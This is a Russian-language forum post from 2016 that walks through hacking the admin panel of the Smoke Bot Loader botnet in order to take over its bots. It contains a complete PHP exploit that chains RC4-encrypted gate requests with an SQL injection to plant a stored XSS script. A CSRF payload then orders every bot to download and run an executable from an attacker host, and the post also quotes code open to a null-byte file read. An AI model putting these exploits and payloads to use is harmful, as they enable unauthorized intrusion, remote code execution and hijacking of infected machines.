Авторизация  
TEXHO

NSmoke Bot — Уводим ботов за пару затяжек [2016]

В теме 1 сообщение

ZdiZjdn1S9KWsKYN2dp4rg.png

 

Добрый день, дамы и господа, сегодня мы будем ломать Smoke Bot Loader. Продукт весьма популярный и на рынке уже достаточно длительное время, и, как мне кажется, от этого будет только интереснее...

 

 

Затяжка первая. SQL-injection и Активная XSS.

 

В первую очередь, был изучен гейт. Насколько я понял, автор подразумевал, что раз данные, поступающие в админку от бота, будут зашифрованы с помощью rc4, то можно и опустить некоторые проверки. И зря.

 

После недолгих поисков был найден уязвимый к SQL-инъекции код:

 

Code:
//Данные из $bot[bOT_PRIVIL] никак не фильтруются$privs=$bot[bOT_PRIVIL];// И чуть нижеmysql_query("UPDATE bots SET ip='".$ip."',time='".$time."',seller='".$sel."',privs='".$privs."' WHERE cname='".$login."'");
В свою очередь, данные из колонки cname при выводе в админке никак не фильтровались, а это означало, что можно было объединить SQL-инъекцию и XSS.

 

Код эксплоита (2 запроса в гейт и активная XSS уже в панели):

 

Code:
<?phpfunction rc4($key, $str) {    $s = array();    for ($i = 0; $i < 256; $i++) {        $s[$i] = $i;    }    $j = 0;    for ($i = 0; $i < 256; $i++) {        $j = ($j + $s[$i] + ord($key[$i % strlen($key)])) % 256;        $x = $s[$i];        $s[$i] = $s[$j];        $s[$j] = $x;    }    $i = 0;    $j = 0;    $res = '';    for ($y = 0; $y < strlen($str); $y++) {        $i = ($i + 1) % 256;        $j = ($j + $s[$i]) % 256;        $x = $s[$i];        $s[$i] = $s[$j];        $s[$j] = $x;        $res .= $str[$y] ^ chr($s[($s[$i] + $s[$j]) % 256]);    }    return $res;} function send_data($gate_url, $payload){    $opts = array('http' =>    array(        'method'  => 'POST',        'header'  => 'Content-type: application/x-www-form-urlencoded',        'content' => $payload        )    );    $context  = stream_context_create($opts);    $result = file_get_contents($gate_url, false, $context);} /*===============================    Config===============================*/$gate_url = 'http://smoke.loc/index.php'; /*===============================    First Request===============================*/ $key = "1234";$data[] = "2015"; //bot_magic$data[] = "1234567890345303020340340320333433323453"; // id $data[] = "selle"; // aff id $data[] = "0"; // winver$data[] = "0"; // winbit$data[] = "0"; // privs$data[] = "10001"; // cmd$data[] = "0"; // opt$data[] = "0"; // res $data = implode("#",$data);$data = RC4($key, $data);$payload = $key.$data;send_data($gate_url, $payload); echo "[+] First request done n";unset($data); /*===============================    Second Request===============================*/ $data[] = "2015"; $data[] = "1234567890345303020340340320333433323453"; $data[] = "selle";  $data[] = "0"; $data[] = "0";// SQL-inject через $bot[bOT_PRIVIL], cname должен быть равен 40 символам!$data[] = "0', cname='<script src="//xsssite.com/12"></script>' where id=1 -- ";$data[] = "10001"; $data[] = "0"; $data[] = "0";  $data = implode("#",$data);$data = RC4($key, $data);$payload = $key.$data;send_data($gate_url, $payload); echo "[+] Second request done n";echo "[+] XSS injected! n";
Размещаем на подконтрольном ресурсе файл с именем 12 (можно варьировать длину файла, главное чтобы длина строки, идущей в cname была 40 символов) и содержащий внутри банальный код:

 

alert('xss');
И результат:

 

YxzDR-szQpm37TsbdRyWtw.png

 

Теперь, попробуем получить хоть-какой то профит.

 

Затяжка вторая. CSRF и угон ботов.

 

К сожалению для входа использовалась basic-авторизация, и поэтому просто угнать куки и зайти под админом не получилось бы (XST - редкость, файл с phpinfo и прочие подобные - тоже не всегда получается найти). Поэтому, для того, чтобы получить хоть какой-то профит с найденной нами уязвимости, мы попробуем угнать в̶о̶д̶о̶к̶а̶ч̶к̶у̶ пачку ботов. Обновим наш файл 12:

 

Code:
var link_to_my_exe = "http://evil.com/my.exe"; var http = new XMLHttpRequest();var params = "geo=ALL&seller=0&limit=0&start=0&bits=0&comment=no_comment&delafter=1&url="+link_to_my_exe; http.open("POST", window.location.pathname+"?page=exe", true);http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");http.send(encodeURI(params));
Теперь, после посещения админом страницы с ботами, в задания добавится новый таск:

 

SSDjVcE8TLicdbGGwAc8-Q.png

 

Боты грузят наш exe, а после его запуска смоке-бот самоудаляется - гениальная комбинация, блестяще проведенная до конца! И все что нужно знать для атаки - это только адрес до гейта.

 

Окурки и пепел.

 

К слову, поле comment в разделе tasks тоже уязвимо для XSS. И хотя я и не смотрел специально код, который относится к модулям (стилер, формграббер, ддос и т.д.), но все равно успел между делом найти парочку XSS (например, в части относящейся к ddos).

 

Ну а если версия пыха на серваке совсем старая, то можно и конфиг прочитать:

 

Код который позволяет это сделать:

 

Code:
//control.phpif ($act == "dwnlog" && !empty($fileid)) {getlog($fileid.'.txt');header('Location: '.$referrer);exit;} //funcs.phpfunction getlog($file){    if(file_exists("./data/".$file))    {        header("Cache-Control: no-cache");        header("Content-Disposition: attachment; filename=".$file);        header("Content-Type: text/plain");        header("Content-Transfer-Encoding: binary");        header("Content-Length: ".filesize("./data/".$file));        readfile("./data/".$file);        exit;    }    else exit;}
Но это стоит рассматривать всерьез, только если у вас есть машина времени, и можно вернутся в то золотое время, когда нуллбайт не был редкостью.

 

Fin.

 

Как вы могли увидеть (если, конечно, действительно читали текст, написанный выше), даже продукты, которые находятся в продаже аж с 2011 года могут быть уязвимы. А это значит, что нельзя доверять никому. Остается только смириться с тем, что вам суждено жить в мире назойливого маркетинга, фальшивых друзей и пустых обещаний. Вокруг ложь и обман, Бог давно умер, а все мы - лишь бессмысленная материя, миллиарды лет назад сотканная из сверхновых звезд, которая в итоге навсегда исчезнет в многочисленных черных дырах, которые будут расти до тех пор, пока не поглотят все сущее в этой вселенной, а затем медленно растворятся, испуская пучки фотонов. И не останется ничего.

 

И даже тот факт, что у вас увели всех ботов будет уже не так важен.

Подумаешь. Боты какие-то, блядь.

 

© Lebron

Поделиться сообщением


Ссылка на сообщение

Для публикации сообщений создайте учётную запись или авторизуйтесь

Вы должны быть пользователем, чтобы оставить комментарий

Создать учетную запись

Зарегистрируйте новую учётную запись в нашем сообществе. Это очень просто!

Регистрация нового пользователя

Войти

Уже есть аккаунт? Войти в систему.

Войти
Авторизация